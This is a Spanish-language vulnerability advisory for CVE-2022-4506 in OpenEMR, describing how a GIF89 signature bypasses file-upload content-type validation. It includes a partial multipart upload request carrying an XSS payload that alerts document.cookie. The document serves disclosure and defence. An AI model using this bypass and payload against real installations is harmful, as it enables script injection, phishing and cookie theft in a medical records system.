OpenEMR – Error de Validación en la Subida de Ficheros (CVE-2022-4506)
Resumen
La funcionalidad de subida de ficheros no validaba correctamente el atributo content-type del archivo, permitiendo a cualquier usuario autenticado saltarse esta comprobación de seguridad añadiendo una firma válida (p.e. GIF89) y enviando cualquier tipo de content-type no válido. Esto podría ser utilizado por un atacante autenticado para subir archivos potencialmente maliciosos al dominio afectado.
Impacto
Un ataque exitoso permitirá a un usuario autenticado escribir páginas personalizadas que se mostrarán en el contexto del dominio de la instalación. Esas páginas pueden contener código html, phising, JavaScript o incluso ficheros maliciosos, que podrían comprometer el dominio afectado.
Descripción
La siguiente petición se modificó para permitir la carga de archivos HTML utilizando una firma GIF válida, pero podría modificarse para cargar cualquier tipo de contenido:
Host: REDACTED
(…snip…)
Upgrade-Insecure-Requests: 1
—————————–139184551113566022282519832587
Content-Disposition: form-data; name=»MAX_FILE_SIZE»
64000000
—————————–139184551113566022282519832587
Content-Disposition: form-data; name=»file[]»; filename=»1111.txt»
Content-Type: text/html
GIF89<script>alert(document.cookie);</script>
—————————–139184551113566022282519832587
Content-Disposition: form-data; name=»dicom_folder[]»; filename=»»
Content-Type: application/octet-stream
(…snip…)
—————————–139184551113566022282519832587–
Las comprobaciones y restricciones de seguridad se implementaban utilizando la función «mime_content_type«, pero al pasar ese filtro, el valor de atributo content-type se almacenaba tal como lo envía el usuario.